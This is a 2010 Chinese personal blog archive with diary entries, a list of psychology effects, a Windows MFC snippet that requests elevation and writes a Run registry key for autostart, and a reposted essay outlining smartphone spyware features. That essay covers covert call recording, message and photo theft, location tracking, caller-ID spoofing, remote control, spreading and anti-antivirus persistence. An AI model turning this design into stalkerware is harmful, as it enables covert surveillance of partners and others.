Archive for the ‘技术’ Category

昨日行程

星期三, 六月 9th, 2010

昨天早上起床,发现又是一个可以不用上班的早晨,心里暗爽。十点后,拿了材料去办了点事情,突然发觉没事干了。于是上网搜索机票,原打算飞往杭州,但是杭州买不到便宜的票,so最终选择买南京的机票。买完机票,问小明是否有空请假出来陪哥,大约,豁出去也可以请假来陪你,好,够哥们。下午在家把三国最后一段看完,讲完诸葛亮居然就结束了,后面的陆抗、邓艾、钟会、yanggu等居然都一带而过了,有点小失望。

六点陪石头吃饭,在qq和校内留下签名,晚上去南京,求收容。并给呆子qq上留言。要走的时候,陈丹给了我一个粽子和一个鸡蛋,说给我路上吃,思前想后,算了不吃吧成人之美,带给小明吧,决定留宿小明处。十二点半到小明处后,看着小明狼吞虎咽的架势,突然觉得有点饿。

另外昨天碰到一个美女。

家乡那棵桃花谢了

星期一, 五月 31st, 2010

昨天和立力以及另外一个高中女同学Y一起吃饭,旁敲侧击问Y一个我关注了很久的女同学的消息,Y就是不开窍。最后直接了当的问,那谁G咋样了,得到的答复是那小G大学一直在恋爱,这会应该已经结婚或者在商量结婚了。瞬间心里剧烈震动,想起一句歌词,大意是,再也听不到你的消息,再也得不到你的秘密,我满腔的泪水,在心里肆意的流。

高中毕业后,就再也没有和G联系过。大学期间觉得我一直应该喜欢G,毕业后理性一点后,找不到思念G的理由,觉得应该已经忘掉了这段感情,只是偶尔还是能在梦中梦见G和一些其他同学。听到这个消息发现原来没有从心底忘记G。

Y走之后,和立力聊了一下其他的事情。她说其实女生很讨厌那种喜欢她但在她面前又扭扭妮妮甚至害羞的男生,喜欢女生又不主动的男生更是绝无机会。我又想起前几天百合上蛮震撼我的一句话:昔日,她未嫁你未娶,你干什么去了。

好吧,目前为止我是个极度没有自信进而从来不主动的人。家乡的桃花和菊花已经谢了,深圳的海棠花估计也快谢了。

感谢立力,从今天开始,改变自己的心态,碰到下朵花,不要再让自己感叹 “那时你干什么去了”。

智能手机间谍软件的设想zz

星期二, 五月 11th, 2010

如果下面的设想成立(目前看来实现不难),用智能机的人都得小心了。。

zz from monyer,开始

——————————————————————————

记得大上次和Cos在谈到未来网络安全的发展时,我提到了随着手机系统的分布格局稳定,手机网络的快速发展,手机系统功能的增强,移动设备(移动网络设备和移动通信设备)的攻击将会逐渐成为一个重点。

回来后一直想如果给智能手机编写木马间谍软件,那么应该实现什么样的功能呢?

于是大致列举了几点,供日后参考(由于只用过M8这款智能机,所以一些想法能否实现我只参考了它的接口文档):

我想这些事情时,通常是站在老婆准备搞有外遇的老公的角度上考虑的Orz!

1、电话录音、谈话窃听

这个当然是需要用到电话的录音功能了,在M8的SDK中翻翻,不仅有这样的接口,还有相应的示例(后面的其他说明中SDK也有示例或接口,就不一一说明了)


因此如果想做这类的实现,只需照搬示例就可以了。

监听通话还是小事,但如果连谈话都监听的话,就有些恐怖了。

你想老公和情人的每一条甜言蜜语都会一字不差地录下来,甚至连ML时的声音都会录下来,估计到时候老婆把录音拿出来放给老公听,老公就悲剧了!

然后就是怎么把数据传出去的问题,如果真是老婆,那么很好办,老婆晚上把手机连上电脑传出来即可;如果是商业间谍软件而不是如上的家用间谍软件,那么传输数据的方式可以有:GPRS、WIFI、蓝牙、短信彩信、甚至电话+摩尔电码等方式,而这类接口SDK依旧有提供;虽然还有一种暂时没提供,但将来肯定会提供,而且超级好用,那就是3G

2、通话信息、短信信息、其他文件盗取

这个技术含量比上面的还要低些,但危害要更大一些 —— 貌似!

什么通话记录啦、短信信息啦、手机拍的一些照片啦等。

你想这个当老婆的收获可不小,情人发的每一条信息,打得每一个电话,甚至情人的一些老公拍下来的小照都一览无余。

3、行踪跟踪

现在的手机很多都集成GPS,但即便没有GPS,却有GPRS —— 我指基站定位。我手机就安装一些地图软件来实现基站+google map定位,虽然没有GPS准确,但是误差不超过300米。

还以老婆跟踪老公为例,现在恐怕连老公逛哪家夜店,老婆都一清二楚,可以直接打个 的士 去夜店把老公揪出来,如果GPS精确的话,估计连门牌号都可以找到,不错!

而且老公这一天都干了啥也一清二楚,回来一对账就知道老公撒没撒谎,真是捉奸测谎必备!

4、偷拍偷录

这个跟之前的录音比较像,但是用途小了些 —— 摄像头的朝向是不固定的。

譬如手机放在兜里,手机放在桌面上,甚至拿手机发短信,这个摄像头能拍摄的场景都比较无用的(或许可以结合一下位移加速器?判断摄像头处于水平状态时再偷拍偷录)。

不过老婆依旧可以想出办法:打电话给老公。这时手机摄像头肯定是平行向外的,位置相当好,加上老公打电话时有多动症的话,周围场景一览无余!

但如果老公用耳机或者蓝牙接听,把手机放在兜里,那么这个方法中老婆是悲剧了。

这个M8 SDK里依旧有现成的示例,使用也很方便。

5、号码伪装

这个貌似通过截获一些系统消息可以做到,我没有做过,不是很清楚。

假设一种情形:老公依偎在老婆身边,老婆这时偷偷给老公打电话,但显示的却是情人的来电;或者老婆给老公发短信,显示的是情人发过来的短信,你想此时老公有多悲剧?

悲剧在于老公看短信时老婆也在看,当看到那“情人”发来“亲爱的,我爱你”之类的密语时,那场景真是壮观悲剧得无法形容!

(当然如果是商业间谍软件,伪装成95555的员工或者此人的老板呢?……)

6、手机控制

这个控制可能是延时的,可能是间断性的,但也有可能是连续实时的。采取的方式依旧是上面提到的电话方式、短信方式、蓝牙方式、wifi方式、3G方式和GPRS方式等。只要能和其他设备通信就好,甚至音频分析也是未尝不可的,在老公正在的地方放一段音乐,间谍软件的命令就执行了(有点像《黑色星期五》),挺恐怖的。

譬如自动打电话、自动发短信,以及远程控制打电话或发短信等。

这时老婆反击的时刻到了:让老公的电话不断给情人打电话,打通了就断,断了再打;情人打进电话来,立即挂断,或者放一段辱骂的录音,然后挂断;或者给情人发短信,约好某某地点见面,然后老婆叫人过去把情人拉到40公里以外偏远山区,让情人一个人穿着高跟鞋走回来……(PS.一定是没有信号的偏远山区)

7、传播方式

老婆做了以上那些还不够,还想控制情人的手机,那么就需要传播了!

而传播方式不外乎:手机-手机、手机-电脑-手机、手机-电脑-电脑-手机

对于手机-手机,那么可能是利用一些手机系统的漏洞(譬如头些日子M8远程管理权限那个漏洞),或者是蓝牙传输欺骗执行等。

对于手机-电脑-手机,可以通过臭名昭著的autorun,或者是一些文件名、文件图标欺骗等等让对方电脑执行一个中间传播软件。但这时比较难的是老公和情人的手机必须都连过同一台电脑,并且这个手机间谍软件还要能释放电脑可运行的中间传播软件等。

对于手机-电脑-电脑-手机,Orz!介个已经是跨平台的病毒了,并且老婆玩到这份上已经玩大了,为了监控情人把整个互联网和移动网络都纳入了入侵的对象了!

哪些问题没有考虑到?

那么现在来看看,哪些问题没有考虑到呢?

手机系统:目前系统依旧是纷杂的,开发通用的手机间谍软件还不现实。

(cnwill : 有些手机系统有证书验证问题很难解决)

手机电池:监控了这么多东西,对于大部分1000毫安左右的电池来说,即使坚持3个小时也是比较困难的。

自身启动&隐藏:这个可以解决。但这里并不仅仅指隐藏自身进程自身文件,还指具有一定的反杀毒功能,不能被简简单单的杀掉,还要有一定的“复活”功能。

还有哪些?你是否想到?

呵呵

Monyer YY!

MFC在windows7下用shellexcuteex动态提权

星期一, 四月 19th, 2010
char szFileName[MAX_PATH];
ZeroMemory(szFileName,MAX_PATH);
::GetModuleFileName(NULL, szFileName, MAX_PATH);
SHELLEXECUTEINFO ShExecInfo = { 0 } ;
ShExecInfo.cbSize = sizeof( SHELLEXECUTEINFO ) ;
ShExecInfo.fMask = SEE_MASK_NOCLOSEPROCESS ;
ShExecInfo.hwnd = NULL;
ShExecInfo.lpVerb = “runas”;
ShExecInfo.lpFile = szFileName;
ShExecInfo.lpParameters = “autostart”;
ShExecInfo.nShow = SW_HIDE;
ShExecInfo.hInstApp = NULL ;
ShellExecuteEx(&ShExecInfo);

最近在写一个程序,需要开机自启动,但是修改注册表强加自启动会触发UAC,如果在程序里添加24号资源会使得每次启动都会触发UAC(就是exe图标里有个小盾牌),但是这种程序win7里面开机时发现程序有小盾牌的都不会启动。so百度了一下,用了动态触发UAC提权的方式解决这个问题。

1.在设置开机自启动时,强制触发uac并启动本exe的另外一个进程,这样另外一个进程就是以高权限运行了

char szFileName[MAX_PATH];

ZeroMemory(szFileName,MAX_PATH);

::GetModuleFileName(NULL, szFileName, MAX_PATH);

SHELLEXECUTEINFO ShExecInfo = { 0 } ;

ShExecInfo.cbSize = sizeof( SHELLEXECUTEINFO ) ;

ShExecInfo.fMask = SEE_MASK_NOCLOSEPROCESS ;

ShExecInfo.hwnd = NULL;

ShExecInfo.lpVerb = “runas”;//这行最主要

ShExecInfo.lpFile = szFileName;

ShExecInfo.lpParameters = “autostart”;

ShExecInfo.nShow = SW_HIDE;

ShExecInfo.hInstApp = NULL ;

ShellExecuteEx(&ShExecInfo);

2.在cmyapp的InitInstance里获取命令行参数,如果是autostart的则改注册表并exit,注意,这段代码得添加在dlg的domodal前面。

//下面是以特殊方式启动并修改自启动的

std::string strCmd = this->m_lpCmdLine;

if (strCmd.find(“autostart”)!=std::string::npos)

{

CString   str; //添加注册表路径

//WCHAR*     CurrentPath=(WCHAR*)malloc(sizeof(char)*100);//程序当前路径

char*     CurrentPath= new char[100];//程序当前路径

HKEY   hRegKey;   //注册key

BOOL   bResult;   //打开注册表返回值

str=_T(“Software\\Microsoft\\Windows\\CurrentVersion\\Run”);//注册表

GetModuleFileName(NULL,CurrentPath,MAX_PATH); //获得运用程序路径

if(bResult=RegOpenKey(HKEY_LOCAL_MACHINE,   str,   &hRegKey)   !=   ERROR_SUCCESS)//打开注册表

{

//free(CurrentPath); //打开不成功就释放内存并返回

delete[] CurrentPath;

return FALSE;

}

if(bResult=::RegSetValueEx(hRegKey,_T(“StarBySelf”),0,REG_SZ,

(const   unsigned   char   *)CurrentPath,

MAX_PATH)!=   ERROR_SUCCESS)   //打开成功写信息到注册表

{   //写入失败

RegCloseKey(hRegKey);   //关闭注册表key

//   free(CurrentPath);   //释放内存资源

delete[] CurrentPath;

return FALSE;   //返回

}

//成功后执行释放内存

RegCloseKey(hRegKey);

// free(CurrentPath);

delete[] CurrentPath;

return FALSE;

}

各种效应

星期一, 四月 19th, 2010

蝴蝶效应:上个世纪70年代,美国一个名叫洛伦兹的气象学家在解释空气系统理论时说,亚马逊雨林一只蝴蝶翅膀偶尔振动,也许两周后就会引起美国得克萨斯州的一场龙卷风。

蝴蝶效应是说,初始条件十分微小的变化经过不断放大,对其未来状态会造成极其巨大的差别。有些小事可以糊涂,有些小事如经系统放大,则对一个组织、一个国家来说是很重要的,就不能糊涂。

鳄鱼法则:
其原意是假定一只鳄鱼咬住你的脚,如果你用手去试图挣脱你的脚,鳄鱼便会同时咬住你的脚与手。你愈挣扎,就被咬住得越多。所以,万一鳄鱼咬住你的脚,你唯一的办法就是牺牲一只脚。

譬如在股市中,鳄鱼法则就是:当你发现自己的交易背离了市场的方向,必须立即止损,不得有任何延误,不得存有任何侥幸。

鲇鱼效应:
以前,沙丁鱼在运输过程中成活率很低。后有人发现,若在沙丁鱼中放一条鲇鱼,情况却有所改观,成活率会大大提高。这是何故呢?

原来鲇鱼在到了一个陌生的环境后,就会“性情急躁”,四处乱游,这对于大量好静的沙丁鱼来说,无疑起到了搅拌作用;而沙丁鱼发现多了这样一个“异已分子”,自然也很紧张,加速游动。这样沙丁鱼缺氧的问题就迎刃而解了,沙丁鱼也就不会死了。

羊群效应:
头羊往哪里走,后面的羊就跟着往哪里走。

羊群效应最早是股票投资中的一个术语,主要是指投资者在交易过程中存在学习与模仿现象,“有样学样”,盲目效仿别人,从而导致他们在某段时期内买卖相同的股票。

刺猬法则:
两只困倦的刺猬,由于寒冷而拥在一起。可因为各自身上都长着刺,于是它们离开了一段距离,但又冷得受不了,于是凑到一起。几经折腾,两只刺猬终于找到一个合适的距离:既能互相获得对方的温暖而又不至于被扎。

刺猬法则主要是指人际交往中的“心理距离效应”。

手表定律:
手表定律是指一个人有一只表时,可以知道现在是几点钟,而当他同时拥有两只时却无法确定。两只表并不能告诉一个人更准确的时间,反而会使看表的人失去对准确时间的信心。

手表定律在企业管理方面给我们一种非常直观的启发,就是对同一个人或同一个组织不能同时采用两种不同的方法,不能同时设置两个不同的目标,甚至每一个人不能由两个人来同时指挥,否则将使这个企业或者个人无所适从。

二八定律(巴莱多定律):
19世纪末20世纪初意大利的经济学家巴莱多认为,在任何一组东西中,最重要的只占其中一小部分,约20%,其余80%尽管是多数,却是次要的。  社会约80%的财富集中在20%的人手里,而80%的人只拥有20%的社会财富。这种统计的不平衡性在社会、经济及生活中无处不在,这就是二八法则。

二八法则告诉我们,不要平均地分析、处理和看待问题,企业经营和管理中要抓住关键的少数;要找出那些能给企业带来80%利润、总量却仅占20%的关键客户,加强服务,达到事半功倍的效果;企业领导人要对工作认真分类分析,要把主要精力花在解决主要问题、抓主要项目上。

木桶理论:
组成木桶的木板如果长短不齐,那么木桶的盛水量不是取决于最长的那一块木板,而是取决于最短的那一块木板。

马太效应:
《圣经-马太福音》中有一句名言:“凡有的,还要加给他,叫他有余;没有的,连他所有的,也要夺过来。”

社会学家从中引申出了“马太效应”这一概念,用以描述社会生活领域中普遍存在的两极分化现象。

鸟笼逻辑

挂一个漂亮的鸟笼在房间里最显眼的地方,过不了几天,主人一定会做出下面两个选择之一:把鸟笼扔掉,或者买一只鸟回来放在鸟笼里。这就是鸟笼逻辑。过程很简单,设想你是这房间的主人,只要有人走进房间,看到鸟笼,就会忍不住问你:“鸟呢?是不是死了?”当你回答:“我从来都没有养过鸟。”人们会问:“那么,你要一个鸟笼干什么?”最后你不得不在两个选择中二选一,因为这比无休止的解释要容易得多。鸟笼逻辑的原因很简单:人们绝大部分的时候是采取惯性思维。所以可见在生活和工作中培养逻辑思维是多么重要。

破窗效应

心理学的研究上有个现象叫做“破窗效应”,就是说,一个房子如果窗户破了,没有人去修补,隔不久,其它的窗户也会莫名其妙的被人打破;一面墙,如果出现一些涂鸦没有清洗掉,很快的,墙上就布满了乱七八糟,不堪入目的东西。一个很干净的地方,人会不好意思丢垃圾,但是一旦地上有垃圾出现之后,人就会毫不犹疑的拋,丝毫不觉羞愧。这真是很奇怪的现象。
心理学家研究的就是这个“引爆点”,地上究竟要有多脏, 人们才会觉得反正这么脏,再脏一点无所谓,情况究竟要坏到什么程度,人们才会自暴自弃,让它烂到底。
任何坏事,如果在开始时没有阻拦掉,形成风气,改也改不掉,就好象河堤,一个小缺口没有及时修补,可以崩坝,造成千百万倍的损失。
犯罪其实就是失序的结果,纽约市在80年代的时候,真是无处不抢,无日不杀,大白天走在马路上也会害怕。地铁更不用说了,车厢脏乱,到处涂满了秽句,坐在地铁里,人人自危。我虽然没有被抢过,但是有位教授被人在光天化日之下,敲了一记闷棍,眼睛失明,从此结束他的研究生涯,使我多少年来谈虎变色,不敢只身去纽约开会。最近纽约的市容和市誉提升了不少,令我颇为吃惊,一个已经向下沉沦的城市,竟能死而复生,向上提升。
因此,当我出去开会,碰到一位犯罪学家时,立刻向他讨教,原来纽约市用的就是过去书本上讲的破窗效应的理论,先改善犯罪的环境,使人们不易犯罪, 再慢慢缉凶捕盗,回归秩序。
当时这个做法虽然被人骂为缓不济急,“船都要沉了还在洗甲板”,但是纽约市还是从维护地铁车厢干净着手,并将不买车票白搭车的人用手铐铐住排成一列站在月台上,公开向民众宣示政府整顿的决心,结果发现非常有效。
警察发现人们果然比较不会在干净的场合犯罪,又发现抓逃票很有收获,因为每七名逃票的人中就有一名是通缉犯,二十名中就有一名携带武器,因此警察愿意很认真地去抓逃票,这使得歹徒不敢逃票,出门不敢带武器,以免得不偿失、因小失大。这样纽约市就从最小、最容易的地方着手,打破了犯罪环结(chain),使这个恶性循环无法继续下去。

责任分散效应

1964年3月13日夜3时20分,在美国纽约郊外某公寓前,一位叫朱诺比白的年轻女子在结束酒巴间工作回家的路上遇刺。当她绝望地喊叫:“有人要杀人啦!救命!救命!”听到喊叫声,附近住户亮起了灯,打开了窗户,凶手吓跑了。当一切恢复平静后,凶手又返回作案。当她又叫喊时,附近的住户又打开了电灯,凶手又逃跑了。当她认为已经无事,回到自己家上楼时,凶手又一次出现在她面前,将她杀死在楼梯上。在这个过程中,尽管她大声呼救,她的邻居中至少有38位到窗前观看,但无一人来救她,甚至无一人打电话报警。这件事引起纽约社会的轰动,也引起了社会心理学工作者的重视和思考。人们把这种众多的旁观者见死不救的现象称为责任分散效应。
对于责任分散效应形成的原因,心理学家进行了大量的实验和调查,结果发现:这种现象不能仅仅说是众人的冷酷无情,或道德日益沦丧的表现。因为在不同的场合,人们的援助行为确实是不同的。当一个人遇到紧急情境时,如果只有他一个人能提供帮助,他会清醒地意识到自己的责任,对受难者给予帮助。如果他见死不救会产生罪恶感、内疚感,这需要付出很高的心理代价。而如果有许多人在场的话,帮助求助者的责任就由大家来分担,造成责任分散,每个人分担的责任很少,旁观者甚至可能连他自己的那一份责任也意识不到,从而产生一种“我不去救,由别人去救”的心理,造成“集体冷漠”的局面。如何打破这种局面,这是心理学家正在研究的一个重要课题。

帕金森定律

英国著名历史学家诺斯古德·帕金森通过长期调查研究,写出一本名叫《帕金森定律》的书。他在书中阐述了机构人员膨胀的原因及后果:一个不称职的官员,可能有三条出路,第一是申请退职,把位子让给能干的人;第二是让一位能干的人来协助自己工作;第三是任用两个水平比自己更低的人当助手。这第一条路是万万走不得的,因为那样会丧失许多权利;第二条路也不能走,因为那个能干的人会成为自己的对手;看来只有第三条路最适宜。于是,两个平庸的助手分担了他的工作,他自己则高高在上发号施令,他们不会对自己的权利构成威胁。两个助手既然无能,他们就上行下效,再为自己找两个更加无能的助手。如此类推,就形成了一个机构臃肿,人浮于事,相互扯皮,效率低下的领导体系。

晕轮效应

俄国著名的大文豪普希金曾因晕轮效应的作用吃了大苦头。他狂热地爱上了被称为“莫斯科第一美人”的娜坦丽,并且和她结了婚。娜坦丽容貌惊人,但与普希金志不同道不合。当普希金每次把写好的诗读给她听时。她总是捂着耳朵说:“不要听!不要听!”相反,她总是要普希金陪她游乐,出席一些豪华的晚会、舞会,普希金为此丢下创作,弄得债台高筑,最后还为她决斗而死,使一颗文学巨星过早地陨落。在普希金看来,一个漂亮的女人也必然有非凡的智慧和高贵的品格,然而事实并非如此,这种现象被称为晕轮效应。
所谓晕轮效应,就是在人际交往中,人身上表现出的某一方面的特征,掩盖了其他特征,从而造成人际认知的障碍。在日常生活中,“晕轮效应”往往在悄悄地影响着我们对别人的认知和评价。比如有的老年人对青年人的个别缺点,或衣着打扮、生活习惯看不顺眼,就认为他们一定没出息;有的青年人由于倾慕朋友的某一可爱之处,就会把他看得处处可爱,真所谓“一俊遮百丑”。晕轮效应是一种以偏概全的主观心理臆测,其错误在于:第一,它容易抓住事物的个别特征,习惯以个别推及一般,就像盲人摸象一样,以点代面;第二,它把并无内在联系的一些个性或外貌特征联系在一起,断言有这种特征必然会有另一种特征;第三,它说好就全都肯定,说坏就全部否定,这是一种受主观偏见支配的绝对化倾向。总之,晕轮效应是人际交往中对人的心理影响很大的认知障碍,我们在交往中要尽量地避免和克服晕轮效应的副作用。

霍桑效应(Hawthorne effect)

心理学上的一种实验者效应。20世纪20-30年代,美国研究人员在芝加哥西方电力公司霍桑工厂进行的工作条件、社会因素和生产效益关系实验中发现了实验者效应,称霍桑效应。
实验的第一阶段是从1924年11月开始的工作条件和生产效益的关系,设为实验组和控制组。结果不管增加或控制照明度,实验组产量都上升,而且照明度不变的控制组产量也增加。另外,有试验了工资报酬、工间休息时间、每日工作长度和每周工作天数等因素,也看不出这些工作条件对生产效益有何直接影响。第二阶段的试验是由美国哈佛大学教授梅奥领导的,着重研究社会因素与生产效率的关系,结果发现生产效率的提高主要是由于被实验者在精神方面发生了巨大的变化。参加试验的工人被置于专门的实验室并由研究人员领导,其社会状况发生了变化,受到各方面的关注,从而形成了参与试验的感觉,觉得自己是公司中重要的一部分,从而使工人从社会角度方面被激励,促进产量上升。
这个效应告诉我们,当同学或自己受到公众的关注或注视时,学习和交往的效率就会大大增加。因此,我们在日常生活中要学会与他人友好相处,明白什么样的行为才是同学和老师所接受和赞赏的,我们只有在生活和学习中不断地增加自己的良好行为,才可能受到更多人的关注和赞赏,也才可能让我们的学习不断进步,充满自信!

习得性无助实验

习得性无助效应最早有奥弗米尔和西里格曼发现,后来在动物和人类研究中被广泛探讨。简单地说,很多实验表明,经过训练,狗可以越过屏障或从事其他的行为来逃避实验者加于它的电击。但是,如果狗以前受到不可预期(不知道什么时候到来)且不可控制的电击(如电击的中断与否不依赖于狗的行为),当狗后来有机会逃离电击时,他们也变得无力逃离。而且,狗还表现出其他方面的缺陷,如感到沮丧和压抑,主动性降低等等。
狗之所以表现出这种状况,是由于在实验的早期学到了一种无助感。也就是说,它们认识到自己无论做什么都不能控制电击的终止。在每次实验中,电击终止都是在实验者掌控之下的,而狗会认识到自己没有能力改变这种外界的控制,从而学到了一种无助感。
人如果产生了习得性无助,就成为了一种深深的绝望和悲哀。因此,我们在学习和生活中应把自己的眼光在开阔一点,看到事件背后的真正的决定因素,不要使我们自己陷入绝望。

证人的记忆

证人,在我们的认识里,通常都是提供一些客观的证据的人,就是把自己亲眼看到、亲耳听到的东西如实地讲出来的人。然而,心理学研究证明,很多证人提供的证词都不太准确,或者说是具有个人倾向性,带着个人的观点和意识。
证人对他们的证词的信心并不能决定他们证词的准确性,这一研究结果令人感到惊讶。心理学家珀费可特和豪林斯决定对这一结论进行更深入的研究。为了考察证人的证词是否有特别的东西,他们将证人的记忆与对一般知识的记忆进行了比较。
他们让被试看一个简短的录象,是关于一个女孩被绑架的案件。第二天,让被试回答一些有关录象里内容的问题,并要求他们说出对自己回答的信心程度,然后做再认记忆测验。接下来,使用同样的方法,内容是从百科全书和通俗读物中选出的一般知识问题。
和以前发生的一样,珀费可特和豪林斯也发现,在证人回忆的精确性上,那些对自己的回答信心十足的人实际上并不比那些没信心的人更高明,但对于一般知识来说,情况就不是这样,信心高的人回忆成绩比信心不足的人好得多。
人们对于自己在一般知识上的优势与弱势有自知之明。因此,倾向于修改他们对于信心量表的测验结果。一般知识是一个数据库,在个体之间是共享的,它有公认的正确答案,被试可以自己去衡量。例如,人们会知道自己在体育问题上是否比别人更好或更差一点。但是,目击的事件不受这种自知之明的影响。例如,从总体上讲,他们不大可能知道自己比别人在记忆事件中的参与者头发颜色方面更好或更差。

罗森塔尔效应

美国心理学家罗森塔尔等人于1968年做过一个著名实验。他们到一所小学,在一至六年级各选三个班的儿童进行煞有介事的“预测未来发展的测验”,然后实验者将认为有“优异发展可能”的学生名单通知教师。其实,这个名单并不是根据测验结果确定的,而是随机抽取的。它是以“权威性的谎言”暗示教师,从而调动了教师对名单上的学生的某种期待心理。8个月后,再次智能测验的结果发现,名单上的学生的成绩普遍提高,教师也给了他们良好的品行评语。这个实验取得了奇迹般的效果,人们把这种通过教师对学生心理的潜移默化的影响,从而使学生取得教师所期望的进步的现象,称为“罗森塔尔效应”,习惯上也称为皮格马利翁效应(皮格马利翁是古希腊神话中塞浦路斯国王,他对一尊少女塑像产生爱慕之情,他的热望最终使这尊雕像变为一个真人,两人相爱结合)。
教育实践也表明:如果教师喜爱某些学生,对他们会抱有较高期望,经过一段时间,学生感受到教师的关怀、爱护和鼓励;常常以积极态度对待老师、对待学习以及对待自己的行为,学生更加自尊、自信、自爱、自强,诱发出一种积极向上的激情,这些学生常常会取得老师所期望的进步。相反,那些受到老师忽视、歧视的学生,久而久之会从教师的言谈、举止、表情中感受到教师的“偏心”,也会以消极的态度对待老师、对待自己的学习,不理会或拒绝听从老师的要求;这些学生常常会一天天变坏,最后沦为社会的不良分子。尽管有些例外,但大趋势却是如此,同时这也给教师敲响了警钟。

虚假同感偏差(false consensus bias)

我们通常都会相信,我们的爱好与大多数人是一样的。如果你喜欢玩电脑游戏,那么就有可能高估喜欢电脑游戏的人数。你也通常会高估给自己喜欢的同学投票的人数,高估自己在群体中的威信与领导能力等等。你的这种高估与你的行为及态度有相同特点的人数的倾向性就叫做“虚假同感偏差”。有些因素会影响你的这种虚假同感偏差强度:
(1)当外部的归因强于内部归因时;
(2)当前的行为或事件对某人非常重要时;
(3)当你对自己的观点非常确定或坚信时;
(4)当你的地位或正常生活和学习受到某种威胁时;
(5)当涉及到某种积极的品质或个性时;
(6)当你将其他人看成与自己是相似时。

踢猫效应:
不对下属发泄自己的不满,避免泄愤连锁反应
人的不满情学和糟糕心情,一般会沿着等级和强弱组成的社会关系链条依次传递,由金字塔尖一直扩散到最底层,无处发泄的最小的那一个元素,则成为最终的受害者。
一般而言,人的情绪会受到环境以及一些偶然因素的影响,当一个人的情绪变坏时,潜意识会驱使他选择下属或无法还击的弱者发泄。受到上司或者强者情绪攻击的人又回去寻找自己的出气筒。这样就会形成一条清晰的愤怒传递链条,最终的承受者,即“猫”,是最弱小的群体,也是受气最多的群体,因为也许会有多个渠道的怒气传递到他这里来。

安慰剂效应
伪药效应假药效应代设剂效应(英文:Placebo Effect,源自拉丁文placebo解“我将安慰”)指病人虽然获得无效的治疗,但却“预料”或“相信”治疗有效,而让病患症状得到舒缓的现象。有人认为这是一个值得注意的人类生理反应,但亦有人认为这是医学实验设计所产生的错觉。这个现象无论是否真的存在,科学家至令仍未能完全理解

一个性质完全相反的效应亦同时存在——反安慰剂效应 :病人不相信治疗有效,可能会令病情恶化反安慰剂效应可以使用检测安慰剂效应相同的方法检测出来。例如一组服用无效药物的对照群组,会出现病情恶化的现象。这个现象相信是由于接受药物的人士对于药物的效力抱有负面的态度,因而抵销了安慰剂效应,出现了反安慰剂效应。这个效应并不是由所服用的药物引起,而是基于病人心理上对康复的期望。

垃圾桶理论

荷兰有一个城市为解决垃圾问题而购置了垃圾桶,但由于人们不愿意使用垃圾桶,乱扔垃圾现象仍十分严重。该市卫生机关为此提出了许多解决办法。第一个方法是:把对乱扔垃圾的人的罚金从25元提高到50元。实施后,收效甚微。第二个方法是:增加街道巡逻人员的人数,成效亦不显著。后来,有人在垃圾桶上出主意:设计了一个电动垃圾桶,桶上装有一个感应器,每当垃圾丢进桶内,感应器就有反应而启动录音机,播出一则故事或笑话,其内容还每两周换一次。这个设计大受欢迎,结果所有的人不论距离远近,都把垃圾丢进垃圾桶里,城市因而变得清洁起来。

在垃圾桶上安装感应式录音机,丢垃圾进去播出一则故事或笑话,效果远比那些惩罚手段好得多,既省钱,又不会让人们感到厌恶。同样,要解决员工在工作期间偷懒的问题,用监管和处罚的手段实际上也是很难奏效的,因为员工的工作成效主要还是要靠其用心努力。

最高气温效应

每天最热总是下午2时左右,我们总认为这个时候太阳最厉害,其实这时的太阳早已偏西,不再是供给最大热量的时候了。此时气温之所以最高,不过是源于此前的热量积累。效应的启示 ==

现实中因为缺乏这种判断——一种未雨绸缪的认识,从而使一个又一个企业管理者败走麦城的,为数实在不少。因为在企业虎虎有生气、效益直线上升的当口,管理者最容易被那种热火朝天的景象挡住识别的慧眼。

一个优秀的管理者,可以不拥有渊博的知识,可以不是善于煽情的鼓动家,甚至可以连超常的勤奋都没有,但他一定要有敏锐的头脑和活跃的思维,能够捕捉坏苗头、发现新苗头和催生新苗头。

墨菲定律(Murphy’s Law)

“墨菲定律”(Murphy’s Law)亦称莫非定律、莫非定理、或摩菲定理,是西方世界常用的俚语。

“墨菲定律”:事情如果有变坏的可能,不管这种可能性有多小,它总会发生。比如你衣袋里有两把钥匙,一把是你房间的,一把是汽车的,如果你现在想拿出车钥匙,会发生什么?是的,你往往是拿出了房间钥匙。

这就是著名的“墨菲定律”。

经过多年,这一“定律”逐渐进入习语范畴,其内涵被赋予无穷的创意,出现了众多的变体,“如果坏事有可能发生,不管这种可能性多么小,它总会发生,并引起最大可能的损失”、“If anything can go wrong, it will.(会出错的,终将会出错)”、“笑一笑,明天未必比今天好。”“东西越好,越不中用”、“别试图教猪唱歌,这样不但不会有结果,还会惹猪不高兴!”

“墨菲定律”的原话是这样说的:If there are two or more ways to do something, and one of those ways can result in a catastrophe, then someone will do it.(如果有两种或两种以上的选择,而其中一种将导致灾难,则必定有人会作出这种选择。)

根据“墨菲定律”,一、任何事都没有表面看起来那么简单;二、所有的事都会比你预计的时间长;三、会出错的事总会出错;四,如果你担心某种情况发生,那么它就更有可能发生。

近半个世纪以来,“墨菲定律”曾经搅得世界人心神不宁,它提醒我们:我们解决问题的手段越高明,我们将要面临的麻烦就越严重。事故照旧还会发生,永远会发生。“墨菲定律”忠告人们:面对人类的自身缺陷,我们最好还是想得更周到、全面一些,采取多种保险措施,防止偶然发生的人为失误导致灾难和损失。归根到底,“错误”与我们一样,都是这个世界的一部分,狂妄自大只会使用使我们自讨苦吃,我们必须学会如何接受错误,并不断从中学习。

我们都有这样的体会,如果在街上准备拦一辆车去赴一个时间紧迫的约会,你会发现街上所有的出租车不是有客就是根本不搭理你,而当你不需要租车的时候,却发现有很多空车在你周围游弋,只待你的一扬手,车随时就停在你的面前。如果一个月前在浴室打碎镜子,尽管仔细检查和冲刷,也不敢光着脚走路,等过了一段时间确定没有危险了,不幸的事还是照样发生,你还是被碎玻璃扎了脚。如果你把一片干面包掉在你的新地毯上,它两面都可能着地。但你把一片一面涂有果酱的面包掉在新地毯上,常常是有果酱的那面朝下。

“墨菲定律”告诉我们,容易犯错误是人类与生俱来的弱点,不论科技多发达,事故都会发生。而且我们解决问题的手段越高明,面临的麻烦就越严重。所以,我们在事前应该是尽可能想得周到、全面一些,如果真的发生不幸或者损失,就笑着应对吧,关键在于总结所犯的错误,而不是企图掩盖它。

牢骚效应:凡是公司中有对工作发牢骚的人,那家公司或老板一定比没有这种人或有这种人而把牢骚埋在肚子里的公司要成功的多

nginx 安装

星期三, 四月 14th, 2010

nginx是个高效的web服务器,腾讯迅雷以及百合大流量的服务用的都是nginx。nginx官网见http://nginx.org/

安装过程:

cd /usr/local/src

